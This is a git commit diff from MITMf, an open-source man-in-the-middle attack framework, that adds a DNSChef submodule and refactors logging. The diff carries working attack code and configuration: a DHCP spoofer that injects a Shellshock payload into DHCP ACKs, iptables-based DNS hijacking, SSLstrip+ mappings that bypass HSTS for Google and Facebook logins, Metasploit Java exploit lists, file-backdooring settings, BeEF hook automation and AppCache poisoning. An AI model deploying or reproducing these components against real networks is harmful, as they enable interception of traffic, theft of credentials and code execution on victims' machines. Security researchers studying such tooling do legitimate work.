- Logging is now seperate for each module

- added DNSChef submodule
- Code style improvements
- modified config file name , and options
- Changed requirements and README
This commit is contained in:
byt3bl33d3r 2015-04-11 00:38:48 +02:00
parent eb7e797ded
commit d4c6b7d5b6
28 changed files with 317 additions and 242 deletions

3
.gitmodules vendored
View file

@ -7,3 +7,6 @@
[submodule "core/beefapi"]
path = core/beefapi
url = https://github.com/byt3bl33d3r/beefapi
[submodule "libs/dnschef"]
path = libs/dnschef
url = https://github.com/byt3bl33d3r/dnschef

View file

@ -11,13 +11,9 @@ This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-prox
Dependency change!
===================
As of v0.9.5 DNS tampering support needs NetfilterQueue v0.6 which is currently a fork, so it *cannot* be installed via pip or easy_install.
As of v0.9.5, DNS tampering support needs NetfilterQueue v0.6 which is currently a fork, so it *cannot* be installed via pip or easy_install.
Download it from here https://github.com/fqrouter/python-netfilterqueue and manually install it.
Installation
============
If MITMf is not in your distribuitions repo, or you just want the latest version, clone the repo run the ```setup.sh``` script and install all python dependencies in the ```requirements.txt``` file
**Please read the [install](#installation) guide for details**
Availible plugins
=================
@ -64,6 +60,13 @@ Changelog
- Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html)
Installation
============
If MITMf is not in your distros repo or you just want the latest version, clone this repository run the ```setup.sh``` script and install all python dependencies in the ```requirements.txt``` file using ```pip```.
Then, download the ```python-netfilterqueue``` library from here
https://github.com/fqrouter/python-netfilterqueue and manually install it.
Submitting Issues
=================
If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com

View file

@ -1,8 +1,14 @@
#MITMf configuration
#
#MITMf configuration file
#
[MITMf]
#here you can set the arguments to pass to MITMf when it starts so all you need to do is run ```python mitmf.py``` (assuming you config file is in the default directory)
#
#here you can set the arguments to pass to MITMf when it starts so all you need to do is run `python mitmf.py`
#(assuming you config file is in the default directory)
#
args=''
#Required BeEF and Metasploit options
@ -17,9 +23,9 @@
rpcip = 127.0.0.1
rpcpass = abc123
#-----------------------------------------------------------------------------------------------------------------------------------------#
#
#Plugin configuration starts here
#
[Spoof]
@ -28,10 +34,53 @@
subnet = 255.255.255.0
dns_server = 192.168.2.20 #optional
[[DNS]]
www.facebook.com = 192.168.10.1
google.com = 192.168.20.61
[[DNS]]
#
#Here you can configure DNSChef's options
#
port = 53 #Port to listen on
nameservers = 8.8.8.8 #Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888
tcp = Off #Use the TCP DNS proxy instead of the default UDP
ipv6 = Off #Run in IPv6 mode
[[[A]]] # Queries for IPv4 address records
*.thesprawl.org=192.0.2.1
[[[AAAA]]] # Queries for IPv6 address records
*.thesprawl.org=2001:db8::1
[[[MX]]] # Queries for mail server records
*.thesprawl.org=mail.fake.com
[[[NS]]] # Queries for mail server records
*.thesprawl.org=ns.fake.com
[[[CNAME]]] # Queries for alias records
*.thesprawl.org=www.fake.com
[[[TXT]]] # Queries for text records
*.thesprawl.org=fake message
[[[PTR]]] # PTR queries
*.2.0.192.in-addr.arpa=fake.com
[[[SOA]]] #FORMAT: mname rname t1 t2 t3 t4 t5
*.thesprawl.org=ns.fake.com. hostmaster.fake.com. 1 10800 3600 604800 3600
[[[NAPTR]]] #FORMAT: order preference flags service regexp replacement
*.thesprawl.org=100 10 U E2U+sip !^.*$!sip:customer-service@fake.com! .
[[[SRV]]] #FORMAT: priority weight port target
*.*.thesprawl.org=0 5 5060 sipserver.fake.com
[[[DNSKEY]]] #FORMAT: flags protocol algorithm base64(key)
*.thesprawl.org=256 3 5 AQPSKmynfzW4kyBv015MUG2DeIQ3Cbl+BBZH4b/0PY1kxkmvHjcZc8nokfzj31GajIQKY+5CptLr3buXA10hWqTkF7H6RfoRqXQeogmMHfpftf6zMv1LyBUgia7za6ZEzOJBOztyvhjL742iU/TpPSEDhm2SNKLijfUppn1UaNvv4w==
[[[RRSIG]]] #FORMAT: covered algorithm labels labels orig_ttl sig_exp sig_inc key_tag name base64(sig)
*.thesprawl.org=A 5 3 86400 20030322173103 20030220173103 2642 thesprawl.org. oJB1W6WNGv+ldvQ3WDG0MQkg5IEhjRip8WTrPYGv07h108dUKGMeDPKijVCHX3DDKdfb+v6oB9wfuh3DTJXUAfI/M0zmO/zz8bW0Rznl8O3tGNazPwQKkRN20XPXV6nwwfoXmJQbsLNrLfkGJ5D6fwFm8nN+6pBzeDQfsS3Ap3o=
[Responder]
@ -192,8 +241,11 @@
#you can add other scripts in additional sections like jQuery etc.
[JavaPwn]
#
# All versions strings without a * are considered vulnerable if clients Java version is <= update version
# When adding more exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28
#
[[Multi]] #Cross platform exploits, yay java! <3
@ -221,8 +273,10 @@
windows/browser/java_mixer_sequencer = 1.6.0.18
[SSLstrip+]
#here you can configure your domains to bypass HSTS on
#the format is real.domain.com = fake.domain.com
#
#Here you can configure your domains to bypass HSTS on, the format is real.domain.com = fake.domain.com
#
#for google and gmail
accounts.google.com = account.google.com
@ -232,7 +286,7 @@
#for facebook
www.facebook.com = social.facebook.com
#-----------------------------------------------------------------------------------------------------------------------------------------#
[FilePwn]
# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
#
@ -269,9 +323,6 @@
#
# Tested on Kali-Linux.
#-----------------------------------------------------------------------------------------------------------------------------------------#
[FilePwn]
[[ZIP]]
# patchCount is the max number of files to patch in a zip file
# After the max is reached it will bypass the rest of the files

View file

@ -34,7 +34,8 @@ from URLMonitor import URLMonitor
from CookieCleaner import CookieCleaner
from DnsCache import DnsCache
from core.sergioproxy.ProxyPlugins import ProxyPlugins
from configobj import ConfigObj
mitmf_logger = logging.getLogger('mitmf')
class ClientRequest(Request):
@ -58,7 +59,7 @@ class ClientRequest(Request):
headers = self.getAllHeaders().copy()
#for k,v in headers.iteritems():
# logging.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v))
# mitmf_logger.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v))
if self.hsts:
@ -73,13 +74,13 @@ class ClientRequest(Request):
if 'host' in headers:
host = self.urlMonitor.URLgetRealHost(str(headers['host']))
logging.debug("[ClientRequest][HSTS] Modifing HOST header: %s -> %s" % (headers['host'], host))
mitmf_logger.debug("[ClientRequest][HSTS] Modifing HOST header: %s -> %s" % (headers['host'], host))
headers['host'] = host
self.setHeader('Host', host)
if 'accept-encoding' in headers:
del headers['accept-encoding']
logging.debug("Zapped encoding")
mitmf_logger.debug("Zapped encoding")
if 'if-modified-since' in headers:
del headers['if-modified-since']
@ -110,7 +111,7 @@ class ClientRequest(Request):
return "lock.ico"
def handleHostResolvedSuccess(self, address):
logging.debug("[ClientRequest] Resolved host successfully: %s -> %s" % (self.getHeader('host'), address))
mitmf_logger.debug("[ClientRequest] Resolved host successfully: %s -> %s" % (self.getHeader('host'), address))
host = self.getHeader("host")
headers = self.cleanHeaders()
client = self.getClientIP()
@ -148,22 +149,22 @@ class ClientRequest(Request):
self.dnsCache.cacheResolution(hostparts[0], address)
if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
logging.debug("Sending expired cookies...")
mitmf_logger.debug("Sending expired cookies...")
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path))
elif (self.urlMonitor.isSecureFavicon(client, path)):
logging.debug("Sending spoofed favicon response...")
mitmf_logger.debug("Sending spoofed favicon response...")
self.sendSpoofedFaviconResponse()
elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
if 'securelink' in headers:
del headers['securelink']
logging.debug("Sending request via SSL...(%s %s)" % (client,url))
mitmf_logger.debug("Sending request via SSL...(%s %s)" % (client,url))
self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
else:
logging.debug("Sending request via HTTP...")
mitmf_logger.debug("Sending request via HTTP...")
#self.proxyViaHTTP(address, self.method, path, postData, headers)
port = 80
if len(hostparts) > 1:
@ -182,14 +183,14 @@ class ClientRequest(Request):
address = self.dnsCache.getCachedAddress(host)
if address != None:
logging.debug("[ClientRequest] Host cached: %s %s" % (host, str(address)))
mitmf_logger.debug("[ClientRequest] Host cached: %s %s" % (host, str(address)))
return defer.succeed(address)
else:
logging.debug("[ClientRequest] Host not cached.")
mitmf_logger.debug("[ClientRequest] Host not cached.")
return reactor.resolve(host)
def process(self):
logging.debug("[ClientRequest] Resolving host: %s" % (self.getHeader('host')))
mitmf_logger.debug("[ClientRequest] Resolving host: %s" % (self.getHeader('host')))
host = self.getHeader('host').split(":")[0]
if self.hsts:

View file

@ -18,6 +18,8 @@
import logging
mitmf_logger = logging.getLogger('mitmf')
class DnsCache:
'''
@ -49,7 +51,7 @@ class DnsCache:
def setCustomRes(self, host, ip_address=None):
if ip_address is not None:
self.cache[host] = ip_address
logging.debug("DNS entry set: %s -> %s" %(host, ip_address))
mitmf_logger.debug("DNS entry set: %s -> %s" %(host, ip_address))
else:
if self.customAddress is not None:
self.cache[host] = self.customAddress

View file

@ -21,6 +21,8 @@ import logging, re, string
from ServerConnection import ServerConnection
from URLMonitor import URLMonitor
mitmf_logger = logging.getLogger('mitmf')
class SSLServerConnection(ServerConnection):
'''
@ -55,11 +57,11 @@ class SSLServerConnection(ServerConnection):
for v in values:
if v[:7].lower()==' domain':
dominio=v.split("=")[1]
logging.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v)
mitmf_logger.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v)
real = self.urlMonitor.sustitucion
if dominio in real:
v=" Domain=%s"%real[dominio]
logging.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v)
mitmf_logger.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v)
newvalues.append(v)
value = ';'.join(newvalues)
@ -83,13 +85,13 @@ class SSLServerConnection(ServerConnection):
if ((not link.startswith('http')) and (not link.startswith('/'))):
absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
logging.debug("Found path-relative link in secure transmission: " + link)
logging.debug("New Absolute path-relative link: " + absoluteLink)
mitmf_logger.debug("Found path-relative link in secure transmission: " + link)
mitmf_logger.debug("New Absolute path-relative link: " + absoluteLink)
elif not link.startswith('http'):
absoluteLink = "http://"+self.headers['host']+link
logging.debug("Found relative link in secure transmission: " + link)
logging.debug("New Absolute link: " + absoluteLink)
mitmf_logger.debug("Found relative link in secure transmission: " + link)
mitmf_logger.debug("New Absolute link: " + absoluteLink)
if not absoluteLink == "":
absoluteLink = absoluteLink.replace('&amp;', '&')

View file

@ -28,6 +28,8 @@ from twisted.web.http import HTTPClient
from URLMonitor import URLMonitor
from core.sergioproxy.ProxyPlugins import ProxyPlugins
mitmf_logger = logging.getLogger('mitmf')
class ServerConnection(HTTPClient):
''' The server connection is where we do the bulk of the stripping. Everything that
@ -72,14 +74,14 @@ class ServerConnection(HTTPClient):
except:
self.clientInfo = "%s " % self.client.getClientIP()
logging.info(self.clientInfo + "Sending Request: %s" % self.headers['host'])
mitmf_logger.info(self.clientInfo + "Sending Request: %s" % self.headers['host'])
self.plugins.hook()
self.sendCommand(self.command, self.uri)
def sendHeaders(self):
for header, value in self.headers.iteritems():
logging.debug("Sending header: (%s => %s)" % (header, value))
mitmf_logger.debug("Sending header: (%s => %s)" % (header, value))
self.sendHeader(header, value)
self.endHeaders()
@ -94,7 +96,7 @@ class ServerConnection(HTTPClient):
self.transport.write(self.postData)
def connectionMade(self):
logging.debug("HTTP connection made.")
mitmf_logger.debug("HTTP connection made.")
self.plugins.hook()
self.sendRequest()
self.sendHeaders()
@ -103,11 +105,11 @@ class ServerConnection(HTTPClient):
self.sendPostData()
def handleStatus(self, version, code, message):
logging.debug("Got server response: %s %s %s" % (version, code, message))
mitmf_logger.debug("Got server response: %s %s %s" % (version, code, message))
self.client.setResponseCode(int(code), message)
def handleHeader(self, key, value):
logging.debug("[ServerConnection] Receiving header: (%s => %s)" % (key, value))
mitmf_logger.debug("[ServerConnection] Receiving header: (%s => %s)" % (key, value))
if (key.lower() == 'location'):
value = self.replaceSecureLinks(value)
@ -117,15 +119,15 @@ class ServerConnection(HTTPClient):
if (key.lower() == 'content-type'):
if (value.find('image') != -1):
self.isImageRequest = True
logging.debug("Response is image content, not scanning...")
mitmf_logger.debug("Response is image content, not scanning...")
if (key.lower() == 'content-encoding'):
if (value.find('gzip') != -1):
logging.debug("Response is compressed...")
mitmf_logger.debug("Response is compressed...")
self.isCompressed = True
elif (key.lower()== 'strict-transport-security'):
logging.info("%s Zapped a strict-trasport-security header" % self.client.getClientIP())
mitmf_logger.info("%s Zapped a strict-trasport-security header" % self.client.getClientIP())
elif (key.lower() == 'content-length'):
self.contentLength = value
@ -162,10 +164,10 @@ class ServerConnection(HTTPClient):
def handleResponse(self, data):
if (self.isCompressed):
logging.debug("Decompressing content...")
mitmf_logger.debug("Decompressing content...")
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
#logging.debug("Read from server:\n" + data)
#mitmf_logger.debug("Read from server:\n" + data)
data = self.replaceSecureLinks(data)
res = self.plugins.hook()
@ -182,7 +184,7 @@ class ServerConnection(HTTPClient):
try:
self.shutdown()
except:
logging.info("Client connection dropped before request finished.")
mitmf_logger.info("Client connection dropped before request finished.")
def replaceSecureLinks(self, data):
if self.hsts:
@ -198,9 +200,9 @@ class ServerConnection(HTTPClient):
for match in iterator:
url = match.group()
logging.debug("[ServerConnection] Found secure reference: " + url)
mitmf_logger.debug("[ServerConnection] Found secure reference: " + url)
nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
logging.debug("[ServerConnection][HSTS] Replacing %s => %s"%(url,nuevaurl))
mitmf_logger.debug("[ServerConnection][HSTS] Replacing %s => %s"%(url,nuevaurl))
sustitucion[url] = nuevaurl
#data.replace(url,nuevaurl)
@ -209,11 +211,11 @@ class ServerConnection(HTTPClient):
dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys())))
data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data)
#logging.debug("HSTS DEBUG received data:\n"+data)
#mitmf_logger.debug("HSTS DEBUG received data:\n"+data)
#data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data)
#data = re.sub(ServerConnection.urlTypewww, 'http://w', data)
#if data.find("http://w.face")!=-1:
# logging.debug("HSTS DEBUG Found error in modifications")
# mitmf_logger.debug("HSTS DEBUG Found error in modifications")
# raw_input("Press Enter to continue")
#return re.sub(ServerConnection.urlType, 'http://web.', data)
return data
@ -225,7 +227,7 @@ class ServerConnection(HTTPClient):
for match in iterator:
url = match.group()
logging.debug("Found secure reference: " + url)
mitmf_logger.debug("Found secure reference: " + url)
url = url.replace('https://', 'http://', 1)
url = url.replace('&amp;', '&')

View file

@ -19,6 +19,8 @@
import logging
from twisted.internet.protocol import ClientFactory
mitmf_logger = logging.getLogger('mimtf')
class ServerConnectionFactory(ClientFactory):
def __init__(self, command, uri, postData, headers, client):
@ -32,12 +34,12 @@ class ServerConnectionFactory(ClientFactory):
return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
def clientConnectionFailed(self, connector, reason):
logging.debug("Server connection failed.")
mitmf_logger.debug("Server connection failed.")
destination = connector.getDestination()
if (destination.port != 443):
logging.debug("Retrying via SSL")
mitmf_logger.debug("Retrying via SSL")
self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
else:
try:

View file

@ -19,6 +19,8 @@
import re, os
import logging
mitmf_logger = logging.getLogger('mimtf')
class URLMonitor:
'''
@ -72,7 +74,7 @@ class URLMonitor:
s.add(to_url)
return
url_set = set([from_url, to_url])
logging.debug("[URLMonitor][AppCachePoison] Set redirection: %s" % url_set)
mitmf_logger.debug("[URLMonitor][AppCachePoison] Set redirection: %s" % url_set)
self.redirects.append(url_set)
def getRedirectionSet(self, url):
@ -111,10 +113,10 @@ class URLMonitor:
else:
self.sustitucion[host] = "web"+host
self.real["web"+host] = host
logging.debug("[URLMonitor][HSTS] SSL host (%s) tokenized (%s)" % (host,self.sustitucion[host]) )
mitmf_logger.debug("[URLMonitor][HSTS] SSL host (%s) tokenized (%s)" % (host,self.sustitucion[host]) )
url = 'http://' + host + path
#logging.debug("HSTS stripped URL: %s %s"%(client, url))
#mitmf_logger.debug("HSTS stripped URL: %s %s"%(client, url))
self.strippedURLs.add((client, url))
self.strippedURLPorts[(client, url)] = int(port)
@ -161,10 +163,10 @@ class URLMonitor:
return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
def URLgetRealHost(self, host):
logging.debug("[URLMonitor][HSTS] Parsing host: %s"% host)
mitmf_logger.debug("[URLMonitor][HSTS] Parsing host: %s"% host)
if self.real.has_key(host):
logging.debug("[URLMonitor][HSTS] Found host in list: %s"% self.real[host])
mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: %s"% self.real[host])
return self.real[host]
else:
logging.debug("[URLMonitor][HSTS] Host not in list: %s"% host)
mitmf_logger.debug("[URLMonitor][HSTS] Host not in list: %s"% host)
return host

View file

@ -41,8 +41,8 @@ class SystemConfig:
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % http_redir_port)
@staticmethod
def DNS(queue_number):
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num %s' % queue_number)
def DNS(ip, port):
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to %s:%s' % (ip, port))
class Banners:

View file

@ -32,6 +32,8 @@ from netfilterqueue import NetfilterQueue
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import *
mitmf_logger = logging.getLogger('mitmf')
class _DHCP():
def __init__(self, interface, dhcpcfg, ip, mac):
@ -79,8 +81,8 @@ class _DHCP():
self.dhcp_dic[xid] = client_ip
if resp[DHCP].options[0][1] is 1:
logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
logging.info("Sending DHCP OFFER")
mitmf_logger.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
mitmf_logger.info("Sending DHCP OFFER")
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
IP(src=self.ip_address, dst='255.255.255.255') /
UDP(sport=67, dport=68) /
@ -102,7 +104,7 @@ class _DHCP():
sendp(packet, iface=self.interface, verbose=self.debug)
if resp[DHCP].options[0][1] is 3:
logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
mitmf_logger.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
IP(src=self.ip_address, dst='255.255.255.255') /
UDP(sport=67, dport=68) /
@ -121,11 +123,11 @@ class _DHCP():
pass
if self.shellshock:
logging.info("Sending DHCP ACK with shellshock payload")
mitmf_logger.info("Sending DHCP ACK with shellshock payload")
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
packet[DHCP].options.append("end")
else:
logging.info("Sending DHCP ACK")
mitmf_logger.info("Sending DHCP ACK")
packet[DHCP].options.append("end")
sendp(packet, iface=self.interface, verbose=self.debug)
@ -250,10 +252,11 @@ class _DNS():
hstscfg = None
dnscfg = None
_instance = None
nfqueue = NetfilterQueue()
nfqueue = None
queue_number = 0
def __init__(self):
self.nfqueue = NetfilterQueue()
t = threading.Thread(name='nfqueue', target=self.bind, args=())
t.setDaemon(True)
t.start()
@ -292,7 +295,7 @@ class _DNS():
def resolve_domain(self, domain):
try:
logging.debug("Resolving -> %s" % domain)
mitmf_logger.debug("Resolving -> %s" % domain)
answer = dns.resolver.query(domain, 'A')
real_ips = []
for rdata in answer:
@ -302,11 +305,11 @@ class _DNS():
return real_ips
except Exception:
logging.info("Error resolving " + domain)
mitmf_logger.info("Error resolving " + domain)
def callback(self, payload):
try:
#logging.debug(payload)
#mitmf_logger.debug(payload)
pkt = IP(payload.get_payload())
if not pkt.haslayer(DNSQR):
@ -314,7 +317,7 @@ class _DNS():
return
if pkt.haslayer(DNSQR):
logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
mitmf_logger.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
if self.dns:
for k, v in self.dnscfg.items():
if k in pkt[DNSQR].qname:
@ -359,13 +362,13 @@ class _DNS():
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
for i in ip:
spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
logging.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
mitmf_logger.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
payload.set_payload(str(spoofed_pkt))
payload.accept()
if self.dns:
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
mitmf_logger.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
payload.set_payload(str(spoofed_pkt))
payload.accept()

1
libs/dnschef Submodule

@ -0,0 +1 @@
Subproject commit 88a9c08a9be5ee921d3d8eeeb16d421c9b5df0af

1
logs/.gitignore vendored
View file

@ -1,3 +1,4 @@
*
!.gitignore
!responder/
!dnschef/

2
logs/dnschef/.gitignore vendored Normal file
View file

@ -0,0 +1,2 @@
*
!.gitignore

View file

@ -60,7 +60,7 @@ parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM att
mgroup = parser.add_argument_group("MITMf", "Options for MITMf")
mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
mgroup.add_argument("-i", "--interface", required=True, type=str, metavar="interface" ,help="Interface to listen on")
mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.cfg", metavar='configfile', help="Specify config file to use")
mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.conf", metavar='configfile', help="Specify config file to use")
mgroup.add_argument('-d', '--disable-proxy', dest='disproxy', action='store_true', default=False, help='Only run plugins, disable all proxies')
#added by alexander.georgiev@daloo.de
mgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
@ -147,11 +147,11 @@ log_level = logging.__dict__[args.log_level.upper()]
#Start logging
logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
logFormatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
rootLogger = logging.getLogger()
mitmf_logger = logging.getLogger('mitmf')
fileHandler = logging.FileHandler("./logs/mitmf.log")
fileHandler.setFormatter(logFormatter)
rootLogger.addHandler(fileHandler)
mitmf_logger.addHandler(fileHandler)
#####################################################################################################
@ -173,6 +173,7 @@ for p in plugins:
if p.output:
for line in p.output:
print "| |_ %s" % line
p.output.remove(line)
except Exception, e:
print "[-] Error loading plugin %s: %s" % (p.name, str(e))

View file

@ -30,6 +30,8 @@ from plugins.plugin import Plugin
from datetime import date
from core.sslstrip.URLMonitor import URLMonitor
mitmf_logger = logging.getLogger('mitmf')
class AppCachePlugin(Plugin):
name = "App Cache Poison"
optname = "appoison"
@ -61,22 +63,22 @@ class AppCachePlugin(Plugin):
if "enable_only_in_useragents" in self.config:
regexp = self.config["enable_only_in_useragents"]
if regexp and not re.search(regexp,req_headers["user-agent"]):
logging.info("%s Tampering disabled in this useragent (%s)" % (ip, req_headers["user-agent"]))
mitmf_logger.info("%s Tampering disabled in this useragent (%s)" % (ip, req_headers["user-agent"]))
return {'request': request, 'data': data}
urls = self.urlMonitor.getRedirectionSet(url)
logging.debug("%s [AppCachePoison] Got redirection set: %s" % (ip, urls))
mitmf_logger.debug("%s [AppCachePoison] Got redirection set: %s" % (ip, urls))
(name,s,element,url) = self.getSectionForUrls(urls)
if s is False:
data = self.tryMassPoison(url, data, headers, req_headers, ip)
return {'request': request, 'data': data}
logging.info("%s Found URL %s in section %s" % (ip, url, name))
mitmf_logger.info("%s Found URL %s in section %s" % (ip, url, name))
p = self.getTemplatePrefix(s)
if element == 'tamper':
logging.info("%s Poisoning tamper URL with template %s" % (ip, p))
mitmf_logger.info("%s Poisoning tamper URL with template %s" % (ip, p))
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
@ -93,12 +95,12 @@ class AppCachePlugin(Plugin):
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
elif element == "manifest":
logging.info("%s Poisoning manifest URL" % ip)
mitmf_logger.info("%s Poisoning manifest URL" % ip)
data = self.getSpoofedManifest(url, s)
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
elif element == "raw": # raw resource to modify, it does not have to be html
logging.info("%s Poisoning raw URL" % ip)
mitmf_logger.info("%s Poisoning raw URL" % ip)
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
@ -131,7 +133,7 @@ class AppCachePlugin(Plugin):
if not re.search(self.config['mass_poison_url_match'], url): #different url
return data
logging.debug("Adding AppCache mass poison for URL %s, id %s" % (url, browser_id))
mitmf_logger.debug("Adding AppCache mass poison for URL %s, id %s" % (url, browser_id))
appendix = self.getMassPoisonHtml()
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip

View file

@ -31,6 +31,8 @@ from time import sleep
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
requests_log.setLevel(logging.WARNING)
mitmf_logger = logging.getLogger('mitmf')
class BeefAutorun(Inject, Plugin):
name = "BeEFAutorun"
optname = "beefauto"
@ -83,7 +85,7 @@ class BeefAutorun(Inject, Plugin):
if session not in already_hooked:
info = beef.hook_info(session)
logging.info("%s >> joined the horde! [id:%s, type:%s-%s, os:%s]" % (info['ip'], info['id'], info['name'], info['version'], info['os']))
mitmf_logger.info("%s >> joined the horde! [id:%s, type:%s-%s, os:%s]" % (info['ip'], info['id'], info['name'], info['version'], info['os']))
already_hooked.append(session)
self.black_ips.append(str(info['ip']))
@ -106,17 +108,17 @@ class BeefAutorun(Inject, Plugin):
hook_os = session_info['os']
if len(self.All_modules) > 0:
logging.info("%s >> sending generic modules" % session_ip)
mitmf_logger.info("%s >> sending generic modules" % session_ip)
for module, options in self.All_modules.iteritems():
mod_id = beef.module_id(module)
resp = beef.module_run(session, mod_id, json.loads(options))
if resp["success"] == 'true':
logging.info('%s >> sent module %s' % (session_ip, mod_id))
mitmf_logger.info('%s >> sent module %s' % (session_ip, mod_id))
else:
logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
mitmf_logger.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
sleep(0.5)
logging.info("%s >> sending targeted modules" % session_ip)
mitmf_logger.info("%s >> sending targeted modules" % session_ip)
for os in self.Targeted_modules:
if (os in hook_os) or (os == hook_os):
browsers = self.Targeted_modules[os]
@ -129,7 +131,7 @@ class BeefAutorun(Inject, Plugin):
mod_id = beef.module_id(module)
resp = beef.module_run(session, mod_id, json.loads(options))
if resp["success"] == 'true':
logging.info('%s >> sent module %s' % (session_ip, mod_id))
mitmf_logger.info('%s >> sent module %s' % (session_ip, mod_id))
else:
logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
mitmf_logger.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
sleep(0.5)

View file

@ -23,6 +23,8 @@ from plugins.Inject import Inject
from pprint import pformat
import logging
mitmf_logger = logging.getLogger('mitmf')
class BrowserProfiler(Inject, Plugin):
name = "Browser Profiler"
optname = "browserprofiler"
@ -53,7 +55,7 @@ class BrowserProfiler(Inject, Plugin):
if self.dic_output['plugin_list'] > 0:
self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',')
pretty_output = pformat(self.dic_output)
logging.info("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output))
mitmf_logger.info("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output))
def get_payload(self):
payload = """<script type="text/javascript">

View file

@ -18,43 +18,40 @@
# USA
#
"""
BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com
Copyright (c) 2013-2014, Joshua Pitts
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors
may be used to endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
